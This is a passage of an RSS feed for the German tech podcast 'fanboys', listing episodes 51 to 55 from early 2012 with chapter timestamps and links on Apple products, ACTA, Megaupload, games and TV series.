+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Den Tiger streicheln</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN055.mp3" length="33107717" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN055</guid>
+ <pubDate>Fri, 03 Feb 2012 23:41:24 +0100</pubDate>
+ <itunes:duration>01:08:50</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:06 Dominik Wagner
+00:00:10 ohne Zeitweise
+00:00:15 aber mit Martin
+00:01:36 Erratum
+00:02:34 Jon Rubinstein verlässt HP
+00:04:33 ACTA
+00:09:08 ACTA Demos
+00:09:55 Keine alten iPhones und UMTS iPads mehr zu kaufen
+00:13:44 FCPX mit Multicam und co
+00:16:13 Avid Studio iPad
+00:17:46 Mac OS X 10.7.3
+00:26:35 Drucker über Samba sharen?
+00:28:52 Half-Life Protest
+00:32:27 Kinectimals iOS
+00:33:28 Keine MS Punkte mehr in Zukunft
+00:35:59 WiFi Repeater
+00:38:50 AppleScript lernen
+00:43:24 Release-spezifische Bugs
+00:47:06 Thumb-Code ausschalten
+00:47:37 elgato mobile
+00:52:56 New Orbit
+00:56:02 Tiny Tower
+00:59:42 trakt.tv
+01:03:16 Homeland
+01:07:48 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:06</td><td><a href="http://twitter.com/monkeydom" target="_blank">Dominik Wagner</td></tr><tr><td>00:00:10</td><td><a href="https://twitter.com/#!/zeitweise/status/165355165191376896" target="_blank">ohne Zeitweise</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">aber mit Martin</td></tr><tr><td>00:01:36</td><td>Erratum</td></tr><tr><td>00:02:34</td><td><a href="http://www.tuaw.com/2012/01/27/ex-apple-ex-palm-exec-jon-rubinstein-now-leaving-hp/" target="_blank">Jon Rubinstein verlässt HP</td></tr><tr><td>00:04:33</td><td><a href="http://www.internet-law.de/2012/02/ist-die-acta-hysterie-berechtigt.html" target="_blank">ACTA</td></tr><tr><td>00:09:08</td><td><a href="http://wiki.stoppacta-protest.info/DE:Uebersicht_Demos" target="_blank">ACTA Demos</td></tr><tr><td>00:09:55</td><td><a href="http://fosspatents.blogspot.com/2012/02/apple-removed-products-from-german.html" target="_blank">Keine alten iPhones und UMTS iPads mehr zu kaufen</td></tr><tr><td>00:13:44</td><td><a href="http://www.apple.com/finalcutpro/" target="_blank">FCPX mit Multicam und co</td></tr><tr><td>00:16:13</td><td><a href="http://www.engadget.com/2012/02/03/avid-studio-ipad-version/" target="_blank">Avid Studio iPad</td></tr><tr><td>00:17:46</td><td><a href="http://www.tuaw.com/2012/02/02/os-x-10-7-3-causing-cui-errors-for-some-combo-update-recommende/" target="_blank">Mac OS X 10.7.3</td></tr><tr><td>00:26:35</td><td>Drucker über Samba sharen?</td></tr><tr><td>00:28:52</td><td><a href="http://www.escapistmagazine.com/news/view/115624-Play-Half-Life-2-for-Half-Life-3" target="_blank">Half-Life Protest</td></tr><tr><td>00:32:27</td><td><a href="http://toucharcade.com/2011/12/13/kinectimals-comes-to-ios/" target="_blank">Kinectimals iOS</td></tr><tr><td>00:33:28</td><td><a href="http://www.insidemobileapps.com/2012/01/23/exclusive-microsoft-to-discontinue-its-virtual-currency-system-microsoft-points/" target="_blank">Keine MS Punkte mehr in Zukunft</td></tr><tr><td>00:35:59</td><td>WiFi Repeater</td></tr><tr><td>00:38:50</td><td>AppleScript lernen</td></tr><tr><td>00:43:24</td><td>Release-spezifische Bugs</td></tr><tr><td>00:47:06</td><td><a href="http://stackoverflow.com/questions/8391307/coordinates-all-wrong-on-iphone-3g-it-could-be-your-compiler" target="_blank">Thumb-Code ausschalten</td></tr><tr><td>00:47:37</td><td><a href="http://www.elgato.com/elgato/int/mainmenu/products/tuner/EyeTV-Mobile.en.html" target="_blank">elgato mobile</td></tr><tr><td>00:52:56</td><td><a href="http://itunes.apple.com/us/app/new-orbit/id487238641?mt=8" target="_blank">New Orbit</td></tr><tr><td>00:56:02</td><td><a href="http://itunes.apple.com/us/app/tiny-tower/id422667065?mt=8" target="_blank">Tiny Tower</td></tr><tr><td>00:59:42</td><td><a href="http://trakt.tv/" target="_blank">trakt.tv</td></tr><tr><td>01:03:16</td><td><a href="http://trakt.tv/show/homeland" target="_blank">Homeland</td></tr><tr><td>01:07:48</td><td><a href="http://www.youtube.com/watch?v=O5sd_CuZxNc" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2355&amp;user_id=map&amp;title=Fanboys%20Episode%2055&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:06" title="Dominik Wagner" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="ohne Zeitweise" href="https://twitter.com/#!/zeitweise/status/165355165191376896" />
+ <sc:chapter start="00:00:15" title="aber mit Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:36" title="Erratum" />
+ <sc:chapter start="00:02:34" title="Jon Rubinstein verlässt HP" href="http://www.tuaw.com/2012/01/27/ex-apple-ex-palm-exec-jon-rubinstein-now-leaving-hp/" />
+ <sc:chapter start="00:04:33" title="ACTA" href="http://www.internet-law.de/2012/02/ist-die-acta-hysterie-berechtigt.html" />
+ <sc:chapter start="00:09:08" title="ACTA Demos" href="http://wiki.stoppacta-protest.info/DE:Uebersicht_Demos" />
+ <sc:chapter start="00:09:55" title="Keine alten iPhones und UMTS iPads mehr zu kaufen" href="http://fosspatents.blogspot.com/2012/02/apple-removed-products-from-german.html" />
+ <sc:chapter start="00:13:44" title="FCPX mit Multicam und co" href="http://www.apple.com/finalcutpro/" />
+ <sc:chapter start="00:16:13" title="Avid Studio iPad" href="http://www.engadget.com/2012/02/03/avid-studio-ipad-version/" />
+ <sc:chapter start="00:17:46" title="Mac OS X 10.7.3" href="http://www.tuaw.com/2012/02/02/os-x-10-7-3-causing-cui-errors-for-some-combo-update-recommende/" />
+ <sc:chapter start="00:26:35" title="Drucker über Samba sharen?" />
+ <sc:chapter start="00:28:52" title="Half-Life Protest" href="http://www.escapistmagazine.com/news/view/115624-Play-Half-Life-2-for-Half-Life-3" />
+ <sc:chapter start="00:32:27" title="Kinectimals iOS" href="http://toucharcade.com/2011/12/13/kinectimals-comes-to-ios/" />
+ <sc:chapter start="00:33:28" title="Keine MS Punkte mehr in Zukunft" href="http://www.insidemobileapps.com/2012/01/23/exclusive-microsoft-to-discontinue-its-virtual-currency-system-microsoft-points/" />
+ <sc:chapter start="00:35:59" title="WiFi Repeater" />
+ <sc:chapter start="00:38:50" title="AppleScript lernen" />
+ <sc:chapter start="00:43:24" title="Release-spezifische Bugs" />
+ <sc:chapter start="00:47:06" title="Thumb-Code ausschalten" href="http://stackoverflow.com/questions/8391307/coordinates-all-wrong-on-iphone-3g-it-could-be-your-compiler" />
+ <sc:chapter start="00:47:37" title="elgato mobile" href="http://www.elgato.com/elgato/int/mainmenu/products/tuner/EyeTV-Mobile.en.html" />
+ <sc:chapter start="00:52:56" title="New Orbit" href="http://itunes.apple.com/us/app/new-orbit/id487238641?mt=8" />
+ <sc:chapter start="00:56:02" title="Tiny Tower" href="http://itunes.apple.com/us/app/tiny-tower/id422667065?mt=8" />
+ <sc:chapter start="00:59:42" title="trakt.tv" href="http://trakt.tv/" />
+ <sc:chapter start="01:03:16" title="Homeland" href="http://trakt.tv/show/homeland" />
+ <sc:chapter start="01:07:48" title="Rausschmeisser" href="http://www.youtube.com/watch?v=O5sd_CuZxNc" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#55:" />
+ </item>
+ <item>
+ <title>Episode #54 - Bödefeld ist abgebrannt</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Bödefeld ist abgebrannt</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN054.mp3" length="36499247" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN054</guid>
+ <pubDate>Fri, 27 Jan 2012 21:12:25 +0100</pubDate>
+ <itunes:duration>01:15:54</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:10 Marcel
+00:00:13 und Martin
+00:00:34 Neues aus Bödefeld
+00:05:44 WR037 Ortsgespräch: Christopher Lauer
+00:07:47 Apple hat zuviel Geld
+00:11:11 thingsappleisworthmorethan.tumblr.com
+00:11:23 ACTA
+00:20:07 Facebook Timeline
+00:26:08 iBooks Author Nachlese
+00:30:00 Dieselsweeties iBook
+00:34:23 Macworld
+00:36:43 Wunderkit
+00:43:18 Google+ jetzt ab 13
+00:45:29 Festplatten unmounten
+00:47:26 Fanfic Podcast und die Rechte
+00:52:48 Katawa Shoujo
+00:55:58 Army of Darkness
+00:57:56 iCade Nachtrag
+00:59:28 WiFi erweitern
+01:02:25 Level Up
+01:04:24 Temple Run auf der iCade
+01:08:43 Source Tree
+01:13:44 Big Clock
+01:15:17 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:34</td><td>Neues aus Bödefeld</td></tr><tr><td>00:05:44</td><td><a href="http://www.wrint.de/2012/01/13/wr037-ortsgesprach-christopher-lauer/" target="_blank">WR037 Ortsgespräch: Christopher Lauer</td></tr><tr><td>00:07:47</td><td><a href="http://meedia.de/background/meedia-blogs/nils-jacobsen/nils-jacobsen-post/article/apple-mehr-wert-als-sterreichs-wirtschaft_100039175.html" target="_blank">Apple hat zuviel Geld</td></tr><tr><td>00:11:11</td><td><a href="http://thingsappleisworthmorethan.tumblr.com" target="_blank">thingsappleisworthmorethan.tumblr.com</td></tr><tr><td>00:11:23</td><td><a href="https://www.laquadrature.net/wiki/How_to_act_against_ACTA:_DEVE" target="_blank">ACTA</td></tr><tr><td>00:20:07</td><td><a href="http://edition.cnn.com/2012/01/24/tech/social-media/facebook-timeline-rolls-out/index.html" target="_blank">Facebook Timeline</td></tr><tr><td>00:26:08</td><td>iBooks Author Nachlese</td></tr><tr><td>00:30:00</td><td><a href="http://www.dieselsweeties.com/monthly/12-2011/" target="_blank">Dieselsweeties iBook</td></tr><tr><td>00:34:23</td><td>Macworld</td></tr><tr><td>00:36:43</td><td><a href="http://www.cultofmac.com/126892/wunderkit-looks-like-the-next-big-thing-for-team-productivity-apps/" target="_blank">Wunderkit</td></tr><tr><td>00:43:18</td><td><a href="http://www.heise.de/newsticker/meldung/Teenager-nun-auch-bei-Google-willkommen-1423190.html" target="_blank">Google+ jetzt ab 13</td></tr><tr><td>00:45:29</td><td>Festplatten unmounten</td></tr><tr><td>00:47:26</td><td>Fanfic Podcast und die Rechte</td></tr><tr><td>00:52:48</td><td>Katawa Shoujo</td></tr><tr><td>00:55:58</td><td>Army of Darkness</td></tr><tr><td>00:57:56</td><td>iCade Nachtrag</td></tr><tr><td>00:59:28</td><td>WiFi erweitern</td></tr><tr><td>01:02:25</td><td><a href="http://en.wikipedia.org/wiki/Level_Up_(TV_series)" target="_blank">Level Up</td></tr><tr><td>01:04:24</td><td><a href="http://itunes.apple.com/us/app/temple-run/id420009108?mt=8" target="_blank">Temple Run auf der iCade</td></tr><tr><td>01:08:43</td><td><a href="http://itunes.apple.com/de/app/sourcetree-git-hg/id411678673?mt=12" target="_blank">Source Tree</td></tr><tr><td>01:13:44</td><td><a href="http://itunes.apple.com/us/app/big-clock-hd/id364394834?mt=8" target="_blank">Big Clock</td></tr><tr><td>01:15:17</td><td><a href="http://www.youtube.com/watch?v=pH6rSul-5X8&feature=related" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2354&amp;user_id=map&amp;title=Fanboys%20Episode%2054&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:34" title="Neues aus Bödefeld" />
+ <sc:chapter start="00:05:44" title="WR037 Ortsgespräch: Christopher Lauer" href="http://www.wrint.de/2012/01/13/wr037-ortsgesprach-christopher-lauer/" />
+ <sc:chapter start="00:07:47" title="Apple hat zuviel Geld" href="http://meedia.de/background/meedia-blogs/nils-jacobsen/nils-jacobsen-post/article/apple-mehr-wert-als-sterreichs-wirtschaft_100039175.html" />
+ <sc:chapter start="00:11:11" title="thingsappleisworthmorethan.tumblr.com" href="http://thingsappleisworthmorethan.tumblr.com" />
+ <sc:chapter start="00:11:23" title="ACTA" href="https://www.laquadrature.net/wiki/How_to_act_against_ACTA:_DEVE" />
+ <sc:chapter start="00:20:07" title="Facebook Timeline" href="http://edition.cnn.com/2012/01/24/tech/social-media/facebook-timeline-rolls-out/index.html" />
+ <sc:chapter start="00:26:08" title="iBooks Author Nachlese" />
+ <sc:chapter start="00:30:00" title="Dieselsweeties iBook" href="http://www.dieselsweeties.com/monthly/12-2011/" />
+ <sc:chapter start="00:34:23" title="Macworld" />
+ <sc:chapter start="00:36:43" title="Wunderkit" href="http://www.cultofmac.com/126892/wunderkit-looks-like-the-next-big-thing-for-team-productivity-apps/" />
+ <sc:chapter start="00:43:18" title="Google+ jetzt ab 13" href="http://www.heise.de/newsticker/meldung/Teenager-nun-auch-bei-Google-willkommen-1423190.html" />
+ <sc:chapter start="00:45:29" title="Festplatten unmounten" />
+ <sc:chapter start="00:47:26" title="Fanfic Podcast und die Rechte" />
+ <sc:chapter start="00:52:48" title="Katawa Shoujo" />
+ <sc:chapter start="00:55:58" title="Army of Darkness" />
+ <sc:chapter start="00:57:56" title="iCade Nachtrag" />
+ <sc:chapter start="00:59:28" title="WiFi erweitern" />
+ <sc:chapter start="01:02:25" title="Level Up" href="http://en.wikipedia.org/wiki/Level_Up_(TV_series)" />
+ <sc:chapter start="01:04:24" title="Temple Run auf der iCade" href="http://itunes.apple.com/us/app/temple-run/id420009108?mt=8" />
+ <sc:chapter start="01:08:43" title="Source Tree" href="http://itunes.apple.com/de/app/sourcetree-git-hg/id411678673?mt=12" />
+ <sc:chapter start="01:13:44" title="Big Clock" href="http://itunes.apple.com/us/app/big-clock-hd/id364394834?mt=8" />
+ <sc:chapter start="01:15:17" title="Rausschmeisser" href="http://www.youtube.com/watch?v=pH6rSul-5X8&amp;feature=related" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#54:" />
+ </item>
+ <item>
+ <title>Episode #53 - Beihilfe zu Copyrightâ„¢</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Beihilfe zu Copyrightâ„¢</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN053.mp3" length="29162391" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN053</guid>
+ <pubDate>Fri, 20 Jan 2012 19:54:45 +0100</pubDate>
+ <itunes:duration>01:00:37</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:13 Und Martin
+00:00:57 Asus Padfone
+00:02:50 Apple wird FLA Mitglied
+00:06:13 Apple Education Event
+00:07:13 E. O. Wilson
+00:08:51 Touchbooks
+00:15:37 The Final Hour of Portal 2
+00:16:37 iBooks Author
+00:20:27 Evil EULA
+00:24:29 Self-Publishing
+00:26:10 E-Zines
+00:28:54 iTunes U App
+00:36:35 Megaupload
+00:41:16 iBooks Author Reprise
+00:42:15 Safari.app: Geschlosse Tabs wieder öffnen
+00:43:15 Klabautercast
+00:45:24 iCade
+00:52:51 Newz of the World
+00:56:29 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:57</td><td><a href="http://www.engadget.com/2011/05/30/asus-targets-christmas-ice-cream-sandwich-for-padfone-launch-v/" target="_blank">Asus Padfone</td></tr><tr><td>00:02:50</td><td><a href="http://www.appleinsider.com/articles/12/01/13/apple_ceo_tim_cook_e_mails_employees_about_dramatic_improvements_in_supplier_hirings_.html" target="_blank">Apple wird FLA Mitglied</td></tr><tr><td>00:06:13</td><td><a href="http://events.apple.com.edgesuite.net/1201oihbafvpihboijhpihbasdouhbasv/event/index.html" target="_blank">Apple Education Event</td></tr><tr><td>00:07:13</td><td><a href="http://en.wikipedia.org/wiki/E._O._Wilson" target="_blank">E. O. Wilson</td></tr><tr><td>00:08:51</td><td><a href="http://www.apple.com/education/ipad/#textbooks" target="_blank">Touchbooks</td></tr><tr><td>00:15:37</td><td><a href="http://www.thefinalhoursofportal2.com/" target="_blank">The Final Hour of Portal 2</td></tr><tr><td>00:16:37</td><td><a href="http://www.apple.com/ibooks-author/" target="_blank">iBooks Author</td></tr><tr><td>00:20:27</td><td><a href="http://venomousporridge.com/post/16126436616/ibooks-author-eula-audacity" target="_blank">Evil EULA</td></tr><tr><td>00:24:29</td><td>Self-Publishing</td></tr><tr><td>00:26:10</td><td>E-Zines</td></tr><tr><td>00:28:54</td><td><a href="http://itunes.apple.com/us/app/itunes-u/id490217893?mt=8" target="_blank">iTunes U App</td></tr><tr><td>00:36:35</td><td><a href="http://arstechnica.com/tech-policy/news/2012/01/why-the-feds-smashed-megaupload.ars" target="_blank">Megaupload</td></tr><tr><td>00:41:16</td><td>iBooks Author Reprise</td></tr><tr><td>00:42:15</td><td>Safari.app: Geschlosse Tabs wieder öffnen</td></tr><tr><td>00:43:15</td><td><a href="http://klabautercast.de/" target="_blank">Klabautercast</td></tr><tr><td>00:45:24</td><td><a href="http://www.thinkgeek.com/electronics/retro-gaming/e762/" target="_blank">iCade</td></tr><tr><td>00:52:51</td><td><a href="http://newz-of-the-world.com/" target="_blank">Newz of the World</td></tr><tr><td>00:56:29</td><td><a href="http://www.youtube.com/watch?v=pCkI5I8vsBg" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:13" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:57" title="Asus Padfone" href="http://www.engadget.com/2011/05/30/asus-targets-christmas-ice-cream-sandwich-for-padfone-launch-v/" />
+ <sc:chapter start="00:02:50" title="Apple wird FLA Mitglied" href="http://www.appleinsider.com/articles/12/01/13/apple_ceo_tim_cook_e_mails_employees_about_dramatic_improvements_in_supplier_hirings_.html" />
+ <sc:chapter start="00:06:13" title="Apple Education Event" href="http://events.apple.com.edgesuite.net/1201oihbafvpihboijhpihbasdouhbasv/event/index.html" />
+ <sc:chapter start="00:07:13" title="E. O. Wilson" href="http://en.wikipedia.org/wiki/E._O._Wilson" />
+ <sc:chapter start="00:08:51" title="Touchbooks" href="http://www.apple.com/education/ipad/#textbooks" />
+ <sc:chapter start="00:15:37" title="The Final Hour of Portal 2" href="http://www.thefinalhoursofportal2.com/" />
+ <sc:chapter start="00:16:37" title="iBooks Author" href="http://www.apple.com/ibooks-author/" />
+ <sc:chapter start="00:20:27" title="Evil EULA" href="http://venomousporridge.com/post/16126436616/ibooks-author-eula-audacity" />
+ <sc:chapter start="00:24:29" title="Self-Publishing" />
+ <sc:chapter start="00:26:10" title="E-Zines" />
+ <sc:chapter start="00:28:54" title="iTunes U App" href="http://itunes.apple.com/us/app/itunes-u/id490217893?mt=8" />
+ <sc:chapter start="00:36:35" title="Megaupload" href="http://arstechnica.com/tech-policy/news/2012/01/why-the-feds-smashed-megaupload.ars" />
+ <sc:chapter start="00:41:16" title="iBooks Author Reprise" />
+ <sc:chapter start="00:42:15" title="Safari.app: Geschlosse Tabs wieder öffnen" />
+ <sc:chapter start="00:43:15" title="Klabautercast" href="http://klabautercast.de/" />
+ <sc:chapter start="00:45:24" title="iCade" href="http://www.thinkgeek.com/electronics/retro-gaming/e762/" />
+ <sc:chapter start="00:52:51" title="Newz of the World" href="http://newz-of-the-world.com/" />
+ <sc:chapter start="00:56:29" title="Rausschmeisser" href="http://www.youtube.com/watch?v=pCkI5I8vsBg" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#53:" />
+ </item>
+ <item>
+ <title>Episode #52 - Intelligente Kühlschränke</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Intelligente Kühlschränke</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN052.mp3" length="37328687" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN052</guid>
+ <pubDate>Fri, 13 Jan 2012 21:27:32 +0100</pubDate>
+ <itunes:duration>01:17:37</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:13 Marcel
+00:00:16 und Martin
+00:02:46 Wacom Inkling
+00:17:51 Best App Ever Awards
+00:18:46 Brettspielkategorie
+00:20:12 AcerCloud
+00:22:20 Gamestore App
+00:25:40 sketchpad
+00:29:32 CES Keynote
+00:35:27 VLC powered by Ivy Bridge
+00:37:35 Audi mit HTML 5 UI
+00:38:45 ObjC ist Mainstream
+00:40:53 Java & ObjC
+00:43:19 iTunes-Ruckel Abhilfe
+00:44:21 Automatische Termin-Absagen in iCal
+00:46:37 iPhone Standard-Termin-Erinnerung
+00:48:05 Marcel bei breakfast@manuspielt
+00:49:39 Dance Dance Revolution - Hottest Party
+00:54:46 Meist verkaufte Personenwaage
+00:55:24 Black Mirror
+00:59:36 Pull Bloxx / Pushmo
+01:04:20 Kingdom Rush
+01:09:53 Mr. Daisey and the Apple Factory
+01:14:54 This American Life App
+01:15:06 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:16</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:46</td><td><a href="http://www.youtube.com/watch?v=fXbBA1DRE84" target="_blank">Wacom Inkling</td></tr><tr><td>00:17:51</td><td><a href="http://bestappever.com/vote/" target="_blank">Best App Ever Awards</td></tr><tr><td>00:18:46</td><td><a href="http://bestappever.com/v/brgm" target="_blank">Brettspielkategorie</td></tr><tr><td>00:20:12</td><td><a href="http://www.fscklog.com/2012/01/realsatire-acercloud-mit-picstream.html" target="_blank">AcerCloud</td></tr><tr><td>00:22:20</td><td><a href="http://www.tuaw.com/2012/01/05/apple-offers-refunds-for-premature-gamestore-app-purchases/" target="_blank">Gamestore App</td></tr><tr><td>00:25:40</td><td><a href="http://sketchpad.cc/" target="_blank">sketchpad</td></tr><tr><td>00:29:32</td><td>CES Keynote</td></tr><tr><td>00:35:27</td><td><a href="http://semiaccurate.com/2012/01/09/intel-fakes-ivy-bridge-graphics-on-stage-at-ces/" target="_blank">VLC powered by Ivy Bridge</td></tr><tr><td>00:37:35</td><td><a href="http://www.car-it.automotiveit.eu/qnx-neue-plattform-fur-das-vernetzte-auto/id-0030745" target="_blank">Audi mit HTML 5 UI</td></tr><tr><td>00:38:45</td><td><a href="http://www.heise.de/newsticker/meldung/Objective-C-zur-Sprache-des-Jahres-gekuert-1405610.html" target="_blank">ObjC ist Mainstream</td></tr><tr><td>00:40:53</td><td><a href="http://cs.gmu.edu/~sean/stuff/java-objc.html" target="_blank">Java & ObjC</td></tr><tr><td>00:43:19</td><td>iTunes-Ruckel Abhilfe</td></tr><tr><td>00:44:21</td><td>Automatische Termin-Absagen in iCal</td></tr><tr><td>00:46:37</td><td>iPhone Standard-Termin-Erinnerung</td></tr><tr><td>00:48:05</td><td><a href="http://breakfast.vu0.org/archives/677" target="_blank">Marcel bei breakfast@manuspielt</td></tr><tr><td>00:49:39</td><td><a href="http://en.wikipedia.org/wiki/Dance_Dance_Revolution_II" target="_blank">Dance Dance Revolution - Hottest Party</td></tr><tr><td>00:54:46</td><td><a href="http://www.gamona.de/games/nintendo,guinness-weltrekord-wii-balance-board-ist-meistverkauf:news,2032545.html" target="_blank">Meist verkaufte Personenwaage</td></tr><tr><td>00:55:24</td><td><a href="http://en.wikipedia.org/wiki/Black_Mirror_(TV_series)" target="_blank">Black Mirror</td></tr><tr><td>00:59:36</td><td><a href="http://pushmo.nintendo.com/" target="_blank">Pull Bloxx / Pushmo</td></tr><tr><td>01:04:20</td><td><a href="http://kingdomrush.com/" target="_blank">Kingdom Rush</td></tr><tr><td>01:09:53</td><td><a href="http://tal.fm/454" target="_blank">Mr. Daisey and the Apple Factory</td></tr><tr><td>01:14:54</td><td><a href="http://www.thisamericanlife.org/listen#mobile" target="_blank">This American Life App</td></tr><tr><td>01:15:06</td><td><a href="http://www.youtube.com/watch?v=PXMxb5fn6Q8" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:13" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:16" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:46" title="Wacom Inkling" href="http://www.youtube.com/watch?v=fXbBA1DRE84" />
+ <sc:chapter start="00:17:51" title="Best App Ever Awards" href="http://bestappever.com/vote/" />
+ <sc:chapter start="00:18:46" title="Brettspielkategorie" href="http://bestappever.com/v/brgm" />
+ <sc:chapter start="00:20:12" title="AcerCloud" href="http://www.fscklog.com/2012/01/realsatire-acercloud-mit-picstream.html" />
+ <sc:chapter start="00:22:20" title="Gamestore App" href="http://www.tuaw.com/2012/01/05/apple-offers-refunds-for-premature-gamestore-app-purchases/" />
+ <sc:chapter start="00:25:40" title="sketchpad" href="http://sketchpad.cc/" />
+ <sc:chapter start="00:29:32" title="CES Keynote" />
+ <sc:chapter start="00:35:27" title="VLC powered by Ivy Bridge" href="http://semiaccurate.com/2012/01/09/intel-fakes-ivy-bridge-graphics-on-stage-at-ces/" />
+ <sc:chapter start="00:37:35" title="Audi mit HTML 5 UI" href="http://www.car-it.automotiveit.eu/qnx-neue-plattform-fur-das-vernetzte-auto/id-0030745" />
+ <sc:chapter start="00:38:45" title="ObjC ist Mainstream" href="http://www.heise.de/newsticker/meldung/Objective-C-zur-Sprache-des-Jahres-gekuert-1405610.html" />
+ <sc:chapter start="00:40:53" title="Java &amp; ObjC" href="http://cs.gmu.edu/~sean/stuff/java-objc.html" />
+ <sc:chapter start="00:43:19" title="iTunes-Ruckel Abhilfe" />
+ <sc:chapter start="00:44:21" title="Automatische Termin-Absagen in iCal" />
+ <sc:chapter start="00:46:37" title="iPhone Standard-Termin-Erinnerung" />
+ <sc:chapter start="00:48:05" title="Marcel bei breakfast@manuspielt" href="http://breakfast.vu0.org/archives/677" />
+ <sc:chapter start="00:49:39" title="Dance Dance Revolution - Hottest Party" href="http://en.wikipedia.org/wiki/Dance_Dance_Revolution_II" />
+ <sc:chapter start="00:54:46" title="Meist verkaufte Personenwaage" href="http://www.gamona.de/games/nintendo,guinness-weltrekord-wii-balance-board-ist-meistverkauf:news,2032545.html" />
+ <sc:chapter start="00:55:24" title="Black Mirror" href="http://en.wikipedia.org/wiki/Black_Mirror_(TV_series)" />
+ <sc:chapter start="00:59:36" title="Pull Bloxx / Pushmo" href="http://pushmo.nintendo.com/" />
+ <sc:chapter start="01:04:20" title="Kingdom Rush" href="http://kingdomrush.com/" />
+ <sc:chapter start="01:09:53" title="Mr. Daisey and the Apple Factory" href="http://tal.fm/454" />
+ <sc:chapter start="01:14:54" title="This American Life App" href="http://www.thisamericanlife.org/listen#mobile" />
+ <sc:chapter start="01:15:06" title="Rausschmeisser" href="http://www.youtube.com/watch?v=PXMxb5fn6Q8" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#52:" />
+ </item>
+ <item>
+ <title>Episode #51 - Zwei Hustinettenbären tanken Super</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Zwei Hustinettenbären tanken Super</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN051.mp3" length="33667364" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN051</guid>
